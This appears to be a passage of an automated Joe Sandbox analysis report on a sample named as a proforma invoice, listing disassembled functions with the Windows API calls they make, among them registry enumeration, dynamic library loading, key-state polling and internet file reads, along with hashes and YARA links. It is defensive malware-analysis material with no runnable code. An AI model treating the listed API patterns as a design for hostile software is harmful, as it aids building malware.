Part of subcall function 004AC998: CharUpperBuffW.USER32(?,?,?,?,?,?,?,004AB6AE,?,?), ref: 004AC9B5
Part of subcall function 004AC998: _wcslen.LIBCMT ref: 004AC9F1
Part of subcall function 004AC998: _wcslen.LIBCMT ref: 004ACA68
Part of subcall function 004AC998: _wcslen.LIBCMT ref: 004ACA9E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 004ABAA5
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 004ABB00
RegEnumKeyExW.ADVAPI32(?,-00000001,?,?,00000000,00000000,00000000,?), ref: 004ABB63
RegCloseKey.ADVAPI32(?,?), ref: 004ABBA6
RegCloseKey.ADVAPI32(00000000), ref: 004ABBB3

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: _wcslen$Close$BuffCharConnectEnumOpenRegistryUpper
String ID:
API String ID: 826366716-0
Opcode ID: eb739ff6cc53df7ff56d006d5b92ef7981d8498646f8d2875a6fee2711e594bb
Instruction ID: b7fd18cc6d48e5328e3c1282b51278e43c92fa8cc22a517c944069cb88f4a78f
Opcode Fuzzy Hash: eb739ff6cc53df7ff56d006d5b92ef7981d8498646f8d2875a6fee2711e594bb
Instruction Fuzzy Hash: 7561B031208201AFC714DF14C490E2ABBE5FF85308F54896EF4994B2A2CB35ED45CB96

Function 00488BB0 Relevance: 7.7, APIs: 5, Instructions: 159COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00488BCD
VariantClear.OLEAUT32 ref: 00488C3E
VariantClear.OLEAUT32 ref: 00488C9D
VariantClear.OLEAUT32(?), ref: 00488D10
VariantChangeType.OLEAUT32(?,?,00000000,00000013), ref: 00488D3B

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Variant$Clear$ChangeInitType
String ID:
API String ID: 4136290138-0
Opcode ID: 39310c669144a4c22efa8439d0ca2753041b9f90e1ba1ad640316a89604730c0
Instruction ID: b7157e97ab252369fc19d7966491ec59cb3ebb371813a6d150ecb9d7d55ae035
Opcode Fuzzy Hash: 39310c669144a4c22efa8439d0ca2753041b9f90e1ba1ad640316a89604730c0
Instruction Fuzzy Hash: 185189B5A00219EFCB10DF28C884AAAB7F8FF89310B15856EE905DB350E734E911CF94

Function 00498AFB Relevance: 7.6, APIs: 5, Instructions: 143COMMON

Download Yara Rule

APIs

GetPrivateProfileSectionW.KERNEL32(00000003,?,00007FFF,?), ref: 00498BAE
GetPrivateProfileSectionW.KERNEL32(?,00000003,00000003,?), ref: 00498BDA
WritePrivateProfileSectionW.KERNEL32(?,?,?), ref: 00498C32
WritePrivateProfileStringW.KERNEL32(00000003,00000000,00000000,?), ref: 00498C57
WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 00498C5F

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: PrivateProfile$SectionWrite$String
String ID:
API String ID: 2832842796-0
Opcode ID: cfbd9521091469ca99ce441f42daeba80dd11c7a80a999471f3e506cccd7cc09
Instruction ID: 05f0eeecb1b2976e9f1042e06f751d8563369d4b7492461ab7355477f8759a4d
Opcode Fuzzy Hash: cfbd9521091469ca99ce441f42daeba80dd11c7a80a999471f3e506cccd7cc09
Instruction Fuzzy Hash: 03514E35A00215AFCB04DF55D881E6ABBF5FF49318F088069E849AB362DB35ED41CB94

Function 004A8EE4 Relevance: 7.6, APIs: 5, Instructions: 143libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(?,00000000,?), ref: 004A8F40
GetProcAddress.KERNEL32(00000000,?), ref: 004A8FD0
GetProcAddress.KERNEL32(00000000,00000000), ref: 004A8FEC
GetProcAddress.KERNEL32(00000000,?), ref: 004A9032
FreeLibrary.KERNEL32(00000000), ref: 004A9052

Part of subcall function 0043F6C9: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,00000000,?,?,?,00491043,?,7529E610), ref: 0043F6E6
Part of subcall function 0043F6C9: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,0047FA64,00000000,00000000,?,?,00491043,?,7529E610,?,0047FA64), ref: 0043F70D

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: AddressProc$ByteCharLibraryMultiWide$FreeLoad
String ID:
API String ID: 666041331-0
Opcode ID: f7dcdb0b4bc10c3f3d77358f3c44e4d2a0287f438f3422d89013429a62e47021
Instruction ID: c121400034c3a1548b3615a886046b752b13e6bf6a839fd0897e1b86522a10fb
Opcode Fuzzy Hash: f7dcdb0b4bc10c3f3d77358f3c44e4d2a0287f438f3422d89013429a62e47021
Instruction Fuzzy Hash: 03515B34604215DFC710DF58C4848AEBBF1FF5A358F4881AAE805AB362DB35ED86CB95

Function 004B6B76 Relevance: 7.6, APIs: 5, Instructions: 131windowCOMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(00000002,000000F0,?), ref: 004B6C33
SetWindowLongW.USER32(?,000000EC,?), ref: 004B6C4A
SendMessageW.USER32(00000002,00001036,00000000,?), ref: 004B6C73
ShowWindow.USER32(00000002,00000000,00000002,00000002,?,?,?,?,?,?,?,0049AB79,00000000,00000000), ref: 004B6C98
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000027,00000002,?,00000001,00000002,00000002,?,?,?), ref: 004B6CC7

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Window$Long$MessageSendShow
String ID:
API String ID: 3688381893-0
Opcode ID: a3bc15db8e8236c7a7a8f267e40ca7662564f838f1bf6e1ec0a8c54c711d33d6
Instruction ID: 3e68013e34e3a81c320a38d4bea7814249aec2430d0e9e608d0965e7c034aa7c
Opcode Fuzzy Hash: a3bc15db8e8236c7a7a8f267e40ca7662564f838f1bf6e1ec0a8c54c711d33d6
Instruction Fuzzy Hash: 7E41A235604114AFDB24CF28CC98FE67FB5EB09350F16026AE995A73A0C379ED51CA68

Function 00452051 Relevance: 7.6, APIs: 5, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 004520C3
_free.LIBCMT ref: 004520E3

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: c81da19e7d2849a8bfc8b7c817ab5e8426332b244995363687fffbe44b676a71
Instruction ID: f527d3a08db834d2fbe276e10f69c827a0c5b2acce8a40cc14366a43bb4e240c
Opcode Fuzzy Hash: c81da19e7d2849a8bfc8b7c817ab5e8426332b244995363687fffbe44b676a71
Instruction Fuzzy Hash: 97410672A002009FCB20DF79CA81A5EB3E1EF8A714F15416BEA15EB392D775AD05CB84

Function 0043912D Relevance: 7.6, APIs: 5, Instructions: 121keyboardCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00439141
ScreenToClient.USER32(00000000,?), ref: 0043915E
GetAsyncKeyState.USER32(00000001), ref: 00439183
GetAsyncKeyState.USER32(00000002), ref: 0043919D

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: AsyncState$ClientCursorScreen
String ID:
API String ID: 4210589936-0
Opcode ID: 238695e87decc54b6bd157083b614fac2c0ad6663180adaf62778986147b5758
Instruction ID: 18277a81020ec66eddff568756557cb5ca3d821dcf4c86763dce37a79d15c231
Opcode Fuzzy Hash: 238695e87decc54b6bd157083b614fac2c0ad6663180adaf62778986147b5758
Instruction Fuzzy Hash: 42414031A0851ABBDF159F64C884BEEB774FB09324F60822AE429A73D0C7785D50CF95

Function 00493874 Relevance: 7.6, APIs: 5, Instructions: 101windowCOMMON

Download Yara Rule

APIs

GetInputState.USER32 ref: 004938CB
TranslateAcceleratorW.USER32(?,00000000,?), ref: 00493922
TranslateMessage.USER32(?), ref: 0049394B
DispatchMessageW.USER32(?), ref: 00493955
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00493966

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Message$Translate$AcceleratorDispatchInputPeekState
String ID:
API String ID: 2256411358-0
Opcode ID: f20db02d6d783115647ddbea5af4b674885d4f071a7d52c031f26bdaa7c7a58e
Instruction ID: c86bda388a38a2791a0a61bb81b9e94972f6f4b27b6d1a2844cd322155af52e9
Opcode Fuzzy Hash: f20db02d6d783115647ddbea5af4b674885d4f071a7d52c031f26bdaa7c7a58e
Instruction Fuzzy Hash: 913195B0504241DFEF35DF259848FB73FE8AB16306F04057FD466862A0D7A8AA85CB19

Function 0049CF1A Relevance: 7.6, APIs: 5, Instructions: 93networkfileCOMMON

Download Yara Rule

APIs

InternetQueryDataAvailable.WININET(?,?,00000000,00000000), ref: 0049CF38
InternetReadFile.WININET(?,00000000,?,?), ref: 0049CF6F
GetLastError.KERNEL32(?,00000000,?,?,?,0049C21E,00000000), ref: 0049CFB4
SetEvent.KERNEL32(?,?,00000000,?,?,?,0049C21E,00000000), ref: 0049CFC8
SetEvent.KERNEL32(?,?,00000000,?,?,?,0049C21E,00000000), ref: 0049CFF2

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: EventInternet$AvailableDataErrorFileLastQueryRead
String ID:
API String ID: 3191363074-0
Opcode ID: effdf80b45bcca30587dd87e179036b2f3ac1003aadaeef45ae346ea7d674d87
Instruction ID: 837179bca22fd6edc22a3afd85d2d76da3776529e11b447ae2215bf556820809
Opcode Fuzzy Hash: effdf80b45bcca30587dd87e179036b2f3ac1003aadaeef45ae346ea7d674d87
Instruction Fuzzy Hash: 57314C71900205EFDF24DFA5C8C49ABBBF9EB14354B10447FF506D2285EB38AE419B68

Function 00481901 Relevance: 7.6, APIs: 5, Instructions: 93sleepwindowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00481915
PostMessageW.USER32(00000001,00000201,00000001), ref: 004819C1
Sleep.KERNEL32(00000000,?,?,?), ref: 004819C9
PostMessageW.USER32(00000001,00000202,00000000), ref: 004819DA
Sleep.KERNEL32(00000000,?,?,?,?), ref: 004819E2

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: MessagePostSleep$RectWindow
String ID:
API String ID: 3382505437-0
Opcode ID: 1414e6d8111652a584aa8dfee306264c116ed3c02acd699729c58edaebc16dca
Instruction ID: 3712d19a601aa7187fe5d1434d6e40ca2c3c6380f14aa01ef709c99f74b99ace
Opcode Fuzzy Hash: 1414e6d8111652a584aa8dfee306264c116ed3c02acd699729c58edaebc16dca
Instruction Fuzzy Hash: 1231C2B1900219EFCB00DFACCD99AEE3BB9EB04315F10472AF961A72E1C7749955CB94

Function 004B5706 Relevance: 7.6, APIs: 5, Instructions: 82windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001053,000000FF,?), ref: 004B5745
SendMessageW.USER32(?,00001074,?,00000001), ref: 004B579D
_wcslen.LIBCMT ref: 004B57AF
_wcslen.LIBCMT ref: 004B57BA
SendMessageW.USER32(?,00001002,00000000,?), ref: 004B5816

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: MessageSend$_wcslen
String ID:
API String ID: 763830540-0
Opcode ID: f5724bfde3225b01becafc95a65ada82560397b72ffb4233d447ce2b2db600ef
Instruction ID: 28fe900400b80d8ccfd2b165bebfe0e42393ba137618e9432c877cbf6fa7b421
Opcode Fuzzy Hash: f5724bfde3225b01becafc95a65ada82560397b72ffb4233d447ce2b2db600ef
Instruction Fuzzy Hash: CC2184719046189ADB209F64CC85BEEB778FF54724F104217E919DA280D7788985CF68

Function 004A0930 Relevance: 7.6, APIs: 5, Instructions: 69COMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 004A0951
GetForegroundWindow.USER32 ref: 004A0968
GetDC.USER32(00000000), ref: 004A09A4
GetPixel.GDI32(00000000,?,00000003), ref: 004A09B0
ReleaseDC.USER32(00000000,00000003), ref: 004A09E8

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Window$ForegroundPixelRelease
String ID:
API String ID: 4156661090-0
Opcode ID: 5c1fbecd186fe8a796b3b6025b6a33f8d3121a32340326174612f3aa9ea5aada
Instruction ID: 9918a764f49a44a8de8bbd74e00acc4bc6128f1348cf7671a85014ec48c4fb2f
Opcode Fuzzy Hash: 5c1fbecd186fe8a796b3b6025b6a33f8d3121a32340326174612f3aa9ea5aada
Instruction Fuzzy Hash: AF21A475600214AFDB04EF69D984E5EBBE9EF45704F00813DF84697361CB34AC04CB94

Function 0045CDBD Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 0045CDC6
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0045CDE9

Part of subcall function 00453820: RtlAllocateHeap.NTDLL(00000000,?,004F1444,?,0043FDF5,?,?,0042A976,00000010,004F1440,004213FC,?,004213C6,?,00421129), ref: 00453852

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 0045CE0F
_free.LIBCMT ref: 0045CE22
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0045CE31

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
String ID:
API String ID: 336800556-0
Opcode ID: 837d5aecd2069d124c5e5fa4895791fd7af67f9e034e5f966b07d1e8bd7d1343
Instruction ID: b0ec4ff219fc43bafa908d6858b9b884a7b77d05def789e94a43604a952a1936
Opcode Fuzzy Hash: 837d5aecd2069d124c5e5fa4895791fd7af67f9e034e5f966b07d1e8bd7d1343
Instruction Fuzzy Hash: 920188726013157F2321167A6CCAD7F796DDEC6BA2315022FFD05D7202DA698D0681B8

Function 00439639 Relevance: 7.6, APIs: 5, Instructions: 66COMMON

Download Yara Rule

APIs

ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00439693
SelectObject.GDI32(?,00000000), ref: 004396A2
BeginPath.GDI32(?), ref: 004396B9
SelectObject.GDI32(?,00000000), ref: 004396E2

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: 97df360eee23c836ca3f2398229c1593c4bfce03877ba528395d27f356e649ba
Instruction ID: 1cce26d8e3724cbc38c2882189e9a370e405898c0bc9db57da13c752c78295b9
Opcode Fuzzy Hash: 97df360eee23c836ca3f2398229c1593c4bfce03877ba528395d27f356e649ba
Instruction Fuzzy Hash: FD217FB0802305EBDB119F69DC55BBA3BA8BB14315F104226F810A62B0D3F85CA1CFDC

Function 00485711 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

_memcmp.LIBVCRUNTIME ref: 00485726
_memcmp.LIBVCRUNTIME ref: 00485744
_memcmp.LIBVCRUNTIME ref: 00485757
_memcmp.LIBVCRUNTIME ref: 0048576F
_memcmp.LIBVCRUNTIME ref: 00485787

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: af124623660d335008a532e4e6e4148036d4d186ee2e4555ae921884cbf32ddd
Instruction ID: e1f31f31bbe9dbeada6dd38b4531952f6e10e1c82cdf75704d84f16ad3db89d9
Opcode Fuzzy Hash: af124623660d335008a532e4e6e4148036d4d186ee2e4555ae921884cbf32ddd
Instruction Fuzzy Hash: 5701D265241A09BAF20869159D82FFF635C9B20398F508437FD089AA41F62CED5583BD

Function 00452DF8 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,0044F2DE,00453863,004F1444,?,0043FDF5,?,?,0042A976,00000010,004F1440,004213FC,?,004213C6), ref: 00452DFD
_free.LIBCMT ref: 00452E32
_free.LIBCMT ref: 00452E59
SetLastError.KERNEL32(00000000,00421129), ref: 00452E66
SetLastError.KERNEL32(00000000,00421129), ref: 00452E6F

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: 0a558dec2018940fe393fa1b2bfa3e4e75b2d6f02d60b537415c9972b5e7c3d2
Instruction ID: 930a75c9f22df098711cec38c6baf6d320aee8bd8af17dc4aa85bf6566b37e4b
Opcode Fuzzy Hash: 0a558dec2018940fe393fa1b2bfa3e4e75b2d6f02d60b537415c9972b5e7c3d2
Instruction Fuzzy Hash: 2201FE7124590067C61227756EC7D2B16599BD33ABB25413FFC25A2393DEEC9C0E412C

Function 0048000E Relevance: 7.5, APIs: 5, Instructions: 47stringCOMMON

Download Yara Rule

APIs

CLSIDFromProgID.OLE32(?,?,?,00000000,?,?,?,-C000001E,00000001,?,0047FF41,80070057,?,?,?,0048035E), ref: 0048002B
ProgIDFromCLSID.OLE32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,0047FF41,80070057,?,?), ref: 00480046
lstrcmpiW.KERNEL32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,0047FF41,80070057,?,?), ref: 00480054
CoTaskMemFree.OLE32(00000000,?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,0047FF41,80070057,?), ref: 00480064
CLSIDFromString.OLE32(?,?,?,?,?,00000000,?,?,?,-C000001E,00000001,?,0047FF41,80070057,?,?), ref: 00480070

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

